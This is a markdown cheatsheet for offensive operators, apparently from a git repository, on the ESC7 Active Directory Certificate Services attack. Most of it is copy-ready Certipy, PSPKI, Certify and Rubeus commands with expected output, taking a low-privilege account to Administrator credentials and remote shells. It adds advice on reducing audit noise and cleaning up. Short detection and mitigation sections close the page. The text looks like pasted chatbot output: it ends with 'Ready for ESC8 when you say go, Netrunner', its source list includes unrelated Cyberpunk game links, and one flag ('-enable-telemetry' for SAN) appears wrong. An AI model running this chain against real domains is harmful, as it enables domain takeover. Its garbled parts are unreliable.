daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc7-vulnerable-ca-access-control-manageca-managecertificates.md (17160B)


      1 ---
      2 title: "ESC7 — Vulnerable CA Access Control (ManageCA ManageCertificates)"
      3 description: "ESC7 is a CA-level access control attack. Where ESC4 abused write permissions on a template object, ESC7 abuses dangerous permissions on the Certificate…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs"]
      7 tools: ["Rubeus", "Certipy", "BloodHound", "Metasploit", "Evil-WinRM"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC7 — Vulnerable CA Access Control (ManageCA  ManageCertificates).md"
     11 ---
     12 # ESC7 — Vulnerable CA Access Control (ManageCA / ManageCertificates)
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | CA-Level Permission Abuse |
     19 | **Difficulty** | Medium–High |
     20 | **Pre-requisites** | ManageCA or ManageCertificates rights on CA object |
     21 | **Tools** | Certipy, Certify.exe, PSPKI |
     22 | **OPSEC Noise** | High — officer promotion, template enabling, request approval |
     23 | **One-liner** | Use ManageCA/ManageCertificates rights to add yourself as an officer, enable the SubCA template, then approve your own pending certificate request. |
     24 
     25 ***
     26 
     27 ## What Is ESC7?
     28 
     29 ESC7 is a **CA-level access control attack**. Where ESC4 abused write permissions on a *template object*, ESC7 abuses dangerous permissions on the **Certificate Authority itself**. Two specific rights are exploited:
     30 
     31 - **`ManageCA`** — Administrative control over the CA. Lets you change CA-wide settings, enable templates, modify policy flags (like `EDITF_ATTRIBUTESUBJECTALTNAME2` from ESC6), and add new CA officers
     32 - **`ManageCertificates`** — Lets you approve, deny, and issue **pending certificate requests** — effectively bypassing manager approval on any template
     33 
     34 ESC7 typically manifests in **two distinct attack paths** depending on which permission you hold:
     35 
     36 | Path | Permission Held | Method |
     37 |------|----------------|---------|
     38 | **Path A** | `ManageCA` only | Use it to grant yourself `ManageCertificates`, then follow Path B |
     39 | **Path B** | Both `ManageCA` + `ManageCertificates` | Enable `SubCA` template → Request cert (gets denied) → Issue it yourself → Authenticate |
     40 
     41 > 💡 In practice, having `ManageCA` is almost always enough — you use it to elevate yourself to `ManageCertificates`, making Path A just a one-step bootstrap into Path B.
     42 
     43 ***
     44 
     45 ## Required Conditions
     46 
     47 | Condition | Where to Check |
     48 |-----------|----------------|
     49 | Low-priv principal holds `ManageCA` or `ManageCertificates` on the CA | CA output: `ManageCa` or `ManageCertificates` Access Rights |
     50 | `SubCA` template exists (built-in, almost always present) | Template enumeration output |
     51 | `Request Disposition: Issue` OR ability to approve pending requests | CA configuration |
     52 
     53 ***
     54 
     55 ## Step 0 — Enumeration
     56 
     57 ```bash
     58 # Standard scan
     59 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
     60   -dc-ip $TARGET -vulnerable -stdout
     61 
     62 # With hash
     63 certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \
     64   -dc-ip $TARGET -vulnerable -stdout
     65 ```
     66 
     67 ### What Vulnerable ESC7 Output Looks Like
     68 
     69 The vulnerability appears at the **CA level**, not template level:
     70 
     71 ```
     72 Certificate Authorities
     73   0
     74     CA Name                             : DOMAIN-CA
     75     DNS Name                            : DC01.domain.htb
     76     Permissions
     77       Owner                             : DOMAIN\Administrators
     78       Access Rights
     79         ManageCa          : DOMAIN\Domain Admins
     80                             DOMAIN\Enterprise Admins
     81                             DOMAIN\lowpriv           ← ⚠️ DANGEROUS
     82         ManageCertificates: DOMAIN\Domain Admins
     83                             DOMAIN\Enterprise Admins
     84                             DOMAIN\lowpriv           ← ⚠️ DANGEROUS
     85         Enroll            : DOMAIN\Authenticated Users
     86 
     87     [!] Vulnerabilities
     88       ESC7 : 'DOMAIN\lowpriv' has dangerous permissions
     89 ```
     90 
     91 ***
     92 
     93 ## Full Attack Chain — Linux (Certipy) — Path A+B Combined
     94 
     95 This is the **most common real-world scenario** — you have `ManageCA` and use it to bootstrap `ManageCertificates`, then exploit.
     96 
     97 ***
     98 
     99 ### Step 1 — Add Yourself as a Certificate Officer (ManageCA → ManageCertificates)
    100 
    101 ```bash
    102 # Grant your account the ManageCertificates right using your ManageCA privilege
    103 certipy-ad ca \
    104   -u 'lowpriv@domain.htb' \
    105   -p 'Password123!' \
    106   -dc-ip $TARGET \
    107   -ca 'DOMAIN-CA-NAME' \
    108   -add-officer lowpriv
    109 
    110 # With hash
    111 certipy-ad ca \
    112   -u 'lowpriv@domain.htb' \
    113   -hashes :NTHASH \
    114   -dc-ip $TARGET \
    115   -ca 'DOMAIN-CA-NAME' \
    116   -add-officer lowpriv
    117 ```
    118 
    119 **Expected output:**
    120 ```
    121 [*] Successfully added officer 'lowpriv' on 'DOMAIN-CA-NAME'
    122 ```
    123 
    124 ***
    125 
    126 ### Step 2 — Enable the SubCA Template
    127 
    128 The `SubCA` template is a built-in template that has `ENROLLEE_SUPPLIES_SUBJECT` and no EKU restrictions — it is essentially a blank-cheque certificate template. It is disabled by default but can be enabled with `ManageCA`:
    129 
    130 ```bash
    131 certipy-ad ca \
    132   -u 'lowpriv@domain.htb' \
    133   -p 'Password123!' \
    134   -dc-ip $TARGET \
    135   -ca 'DOMAIN-CA-NAME' \
    136   -enable-template SubCA
    137 ```
    138 
    139 **Expected output:**
    140 ```
    141 [*] Successfully enabled 'SubCA' on 'DOMAIN-CA-NAME'
    142 ```
    143 
    144 > ⚠️ The `SubCA` template is admin-enroll only by default. When you enable it with your `ManageCA` right, you still technically can't enroll in it as a low-priv user — **but the next steps work around this deliberately**.
    145 
    146 ***
    147 
    148 ### Step 3 — Request a Certificate (Expect a Denial)
    149 
    150 You deliberately request a cert from `SubCA` as `Administrator`. The CA will reject it because you're low-priv. This is **intentional** — the rejection creates a pending request ID you can use in the next step:
    151 
    152 ```bash
    153 certipy-ad req \
    154   -u 'lowpriv@domain.htb' \
    155   -p 'Password123!' \
    156   -dc-ip $TARGET \
    157   -ca 'DOMAIN-CA-NAME' \
    158   -template SubCA \
    159   -upn 'administrator@domain.htb'
    160 ```
    161 
    162 **Expected output:**
    163 ```
    164 [*] Requesting certificate via RPC
    165 [-] Got error: The RPCSS is unavailable. / Access Denied
    166 [*] Request ID is 37        ← NOTE THIS NUMBER — you need it
    167 [-] Would-be issued certificate will be stored in 'administrator.pfx'
    168 ```
    169 
    170 > 💡 The request **will fail with Access Denied** — this is expected and correct. What matters is the **Request ID** printed in the output. Note it down.
    171 
    172 ***
    173 
    174 ### Step 4 — Issue the Denied Request Yourself
    175 
    176 Now use your newly acquired `ManageCertificates` / officer rights to **approve and issue** your own denied request:
    177 
    178 ```bash
    179 certipy-ad ca \
    180   -u 'lowpriv@domain.htb' \
    181   -p 'Password123!' \
    182   -dc-ip $TARGET \
    183   -ca 'DOMAIN-CA-NAME' \
    184   -issue-request 37          # ← Use the Request ID from Step 3
    185 ```
    186 
    187 **Expected output:**
    188 ```
    189 [*] Successfully issued certificate
    190 ```
    191 
    192 ***
    193 
    194 ### Step 5 — Retrieve the Issued Certificate
    195 
    196 Now pull the approved certificate down:
    197 
    198 ```bash
    199 certipy-ad req \
    200   -u 'lowpriv@domain.htb' \
    201   -p 'Password123!' \
    202   -dc-ip $TARGET \
    203   -ca 'DOMAIN-CA-NAME' \
    204   -retrieve 37               # ← Same Request ID
    205 
    206 # Output: administrator.pfx
    207 ```
    208 
    209 **Expected output:**
    210 ```
    211 [*] Successfully retrieved certificate
    212 [*] Got certificate with UPN 'administrator@domain.htb'
    213 [*] Certificate has no object SID
    214 [*] Saving certificate and private key to 'administrator.pfx'
    215 ```
    216 
    217 ***
    218 
    219 ### Step 6 — Authenticate
    220 
    221 ```bash
    222 certipy-ad auth \
    223   -pfx administrator.pfx \
    224   -username administrator \
    225   -domain domain.htb \
    226   -dc-ip $TARGET
    227 
    228 # Output: administrator.ccache + NT hash
    229 ```
    230 
    231 ***
    232 
    233 ### Step 7 — Shell
    234 
    235 ```bash
    236 # Kerberos TGT
    237 export KRB5CCNAME=administrator.ccache
    238 wmiexec.py -k -no-pass DC01.domain.htb
    239 evil-winrm -i DC01.domain.htb -r domain.htb
    240 
    241 # Pass-the-Hash
    242 evil-winrm -i $TARGET -u administrator -H <NTHASH>
    243 psexec.py administrator@$TARGET -hashes :NTHASH
    244 ```
    245 
    246 ***
    247 
    248 ## Full Attack Chain — Windows (PSPKI + Certify.exe + Rubeus)
    249 
    250 ```powershell
    251 # ── Step 1: Install PSPKI module if not present ──────────────────────────────
    252 Install-Module -Name PSPKI
    253 
    254 # ── Step 2: Enable SubCA Template using ManageCA right ───────────────────────
    255 Import-Module PSPKI
    256 Get-CertificationAuthority -ComputerName DC01.domain.local | `
    257   Get-CATemplate | `
    258   Add-CATemplate -DisplayName "SubCA" | `
    259   Set-CATemplate
    260 
    261 # ── Step 3: Request cert (will be denied — note the Request ID) ──────────────
    262 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:SubCA /altname:administrator
    263 # Note: This will fail — grab the Request ID from the output
    264 
    265 # ── Step 4: Issue the denied request ─────────────────────────────────────────
    266 # Using PSPKI to approve the pending request
    267 $CA = Get-CertificationAuthority -ComputerName DC01.domain.local
    268 $CA | Get-PendingRequest -RequestID 37 | Approve-CertificateRequest
    269 
    270 # ── Step 5: Retrieve the issued cert ─────────────────────────────────────────
    271 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /retrieve:37
    272 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    273 
    274 # ── Step 6: Authenticate with Rubeus ─────────────────────────────────────────
    275 .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
    276 .\Rubeus.exe createnetonly /program:powershell.exe /show
    277 .\Rubeus.exe ptt /ticket:<base64ticket>
    278 ```
    279 
    280 ***
    281 
    282 ## ESC7 Visual Attack Flow
    283 
    284 ```
    285 [lowpriv has ManageCA on DOMAIN-CA]
    286               │
    287               │  certipy ca -add-officer lowpriv
    288               ▼
    289 [lowpriv now has ManageCertificates]
    290               │
    291               │  certipy ca -enable-template SubCA
    292               ▼
    293 [SubCA template enabled]
    294               │
    295               │  certipy req -template SubCA -upn administrator@domain.htb
    296               ▼
    297 [Request DENIED — but Request ID 37 created]
    298               │
    299               │  certipy ca -issue-request 37
    300               ▼
    301 [Request manually approved by lowpriv as officer]
    302               │
    303               │  certipy req -retrieve 37
    304               ▼
    305 [administrator.pfx retrieved]
    306               │
    307               │  certipy auth -pfx administrator.pfx
    308               ▼
    309 [TGT + NT Hash for Administrator]
    310 ```
    311 
    312 ***
    313 
    314 ## Alternative ESC7 Path — ManageCA Only (Enable ESC6)
    315 
    316 If you only have `ManageCA` and don't want to go through the SubCA route, you can use your `ManageCA` right to **flip the ESC6 flag on the CA** — turning every Client Auth template into an ESC1 vector instantly:
    317 
    318 ```bash
    319 # Enable EDITF_ATTRIBUTESUBJECTALTNAME2 via ManageCA
    320 certipy-ad ca \
    321   -u 'lowpriv@domain.htb' \
    322   -p 'Password123!' \
    323   -dc-ip $TARGET \
    324   -ca 'DOMAIN-CA-NAME' \
    325   -enable-telemetry   # ← Certipy flag to enable SAN on CA
    326 
    327 # Then exploit exactly like ESC6 — request from any Client Auth template
    328 certipy-ad req \
    329   -u 'lowpriv@domain.htb' \
    330   -p 'Password123!' \
    331   -dc-ip $TARGET \
    332   -ca 'DOMAIN-CA-NAME' \
    333   -template 'User' \
    334   -upn 'administrator@domain.htb'
    335 ```
    336 
    337 > 💡 This is what Tarlogic documented in their real Red Team engagement — they used `ManageCA` to enable the SAN flag CA-wide, then used the `User` template exactly like an ESC6 attack. ESC7 and ESC6 are deeply linked — **ESC7 is often the path that enables ESC6**.
    338 
    339 ***
    340 
    341 ## ESC6 vs ESC7 — The Relationship
    342 
    343 | | ESC6 | ESC7 |
    344 |---|---|---|
    345 | **Root cause** | `EDITF_ATTRIBUTESUBJECTALTNAME2` already set | Low-priv user holds `ManageCA` / `ManageCertificates` |
    346 | **Attack type** | Exploit an existing CA misconfiguration | **Create** a CA misconfiguration (or approve your own requests) |
    347 | **Main tool** | `certipy req -upn` | `certipy ca` subcommand |
    348 | **Templates needed** | Any Client Auth template | `SubCA` (or any template after enabling ESC6 flag) |
    349 | **Post-patch ESC6 issue** | May be blocked | Still works — approval bypass is independent of SAN enforcement |
    350 | **Can combine?** | ✅ | ✅ ESC7 ManageCA → enable ESC6 flag → exploit as ESC6 |
    351 
    352 ***
    353 
    354 ## OPSEC Considerations
    355 
    356 | Action | Log Generated | Noise Level |
    357 |--------|--------------|-------------|
    358 | CA ACL query | LDAP query | 🟢 Low |
    359 | Add yourself as officer | CA audit log + 5136 | 🔴 High |
    360 | Enable SubCA template | CA configuration change | 🔴 High |
    361 | Submit pending cert request | Event ID 4886 (request) | 🟡 Medium |
    362 | Approve own request | Event ID 4887 + CA manager approval log | 🔴 High |
    363 
    364 > ⚠️ ESC7 is the **second noisiest** ADCS attack after ESC4. The officer promotion and request approval generate significant CA audit logs. Always clean up.
    365 
    366 ***
    367 
    368 ## Clean-Up Commands
    369 
    370 ```bash
    371 # Remove yourself as officer (run after completing the attack)
    372 certipy-ad ca \
    373   -u 'lowpriv@domain.htb' \
    374   -p 'Password123!' \
    375   -dc-ip $TARGET \
    376   -ca 'DOMAIN-CA-NAME' \
    377   -remove-officer lowpriv
    378 
    379 # Disable the SubCA template if you enabled it
    380 certipy-ad ca \
    381   -u 'lowpriv@domain.htb' \
    382   -p 'Password123!' \
    383   -dc-ip $TARGET \
    384   -ca 'DOMAIN-CA-NAME' \
    385   -disable-template SubCA
    386 ```
    387 
    388 ***
    389 
    390 ## PSPKI Module Alternative (Windows)
    391 
    392 ```powershell
    393 # Install PSPKI module
    394 Install-Module -Name PSPKI -Force
    395 
    396 # List CA permissions
    397 Get-CertificationAuthority | Get-CertificationAuthorityAcl |
    398   Format-List Identity, AccessRules
    399 
    400 # Submit and approve certificate (if you have ManageCertificates)
    401 $ca = Get-CertificationAuthority -ComputerName CA-SERVER
    402 $req = Submit-CertificateRequest -CA $ca -Path .\request.req
    403 Approve-CertificateRequest -CA $ca -RequestID $req.RequestID
    404 ```
    405 
    406 ***
    407 
    408 ## Detection Indicators
    409 
    410 - **Event ID 4899** — A certificate template was changed (SubCA enabled)
    411 - **Event ID 4890** — The certificate manager settings for Certificate Services changed (officer added)
    412 - **Event ID 4887** — Certificate issued where requester ≠ subject
    413 - **Event ID 4882** — The security permissions for Certificate Services changed — specifically watch for non-admin accounts appearing in `ManageCA` or `ManageCertificates` ACEs
    414 - Alert on **any non-PKI-admin account** appearing in `ManageCA` ACL — this should be a zero-tolerance finding
    415 
    416 ***
    417 
    418 ## Mitigation
    419 
    420 - **Audit CA DACLs** — `ManageCA` and `ManageCertificates` should only be granted to dedicated PKI admin accounts, never to `Domain Users`, `Authenticated Users`, or service accounts without need
    421 - **Disable `SubCA` template** if it is not in active business use — it serves no purpose in most environments and is a high-risk template
    422 - **Separate PKI admin duties** — The person managing certificates should not be the same account used for day-to-day domain activity
    423 - **Alert on CA configuration changes** — Monitor Event ID 4890 and 4899 continuously; legitimate CA configuration changes are rare and should always be change-controlled
    424 
    425 ***
    426 
    427 Ready for **ESC8** when you say go, Netrunner.
    428 
    429 Sources
    430  ADCS ESC7 - Vulnerable Certificate Authority Access Control https://www.hackingarticles.in/adcs-esc7-vulnerable-certificate-authority-access-control/
    431  Active Directory Certificate Attack: ESC7 https://www.rbtsec.com/blog/active-directory-certificate-attack-esc7/
    432  AD CS: weaponizing the ESC7 attack | BlackArrow - Tarlogic https://www.tarlogic.com/blog/ad-cs-esc7-attack/
    433  redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf
    434  Certipy Deep Dive — Escalating via AD CS with ESC4–ESC7 https://www.youtube.com/watch?v=rEstm6e3Lek
    435  Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/
    436  Netrunning for Dummies in Night CIty | World Anvil https://www.worldanvil.com/w/night-city-mindlessorca/a/netrunning-for-dummies-article
    437  How does netrunning work in combat zone? : r/cyberpunkcombatzone https://www.reddit.com/r/cyberpunkcombatzone/comments/1dc9poz/how_does_netrunning_work_in_combat_zone/
    438  ADCS Attack Paths in BloodHound — Part 2 - Blog - SpecterOps https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547
    439  Programs Explained in Netrunning | Cyberpunk Red in a Nutshell #7 https://www.youtube.com/watch?v=YJKvOr9VEIU
    440  AD CS ESC1 Certificate Exploitation Guide | PDF - Scribd https://www.scribd.com/document/921992856/ESC1
    441  ADCS Security: All 16 ESC Attacks Guide - Helpdesk Hero https://help-desk-hero.com/article/adcs-security-complete-guide-detecting-preventing-esc-attacks
    442  How does netrunning work in cyberpunk? - Facebook https://www.facebook.com/groups/340493143310905/posts/1887224115304459/
    443  How to Exploit ADCS Certificate Attacks with Certipy and Metasploit https://www.linkedin.com/posts/muskan-sen_adcs-esc3-enrollment-agent-template-activity-7373926392394125312-Y4SZ
    444  Abusing Active Directory Certificate Services (ADCS) | ESC8 Attack ... https://www.youtube.com/watch?v=pVezmVSCJGk
    445  Netrunner - Cyberpunk Wiki - Fandom https://cyberpunk.fandom.com/wiki/Netrunner
    446  AD CS Security: Understanding and Exploiting ESC Techniques https://www.buaq.net/go-365639.html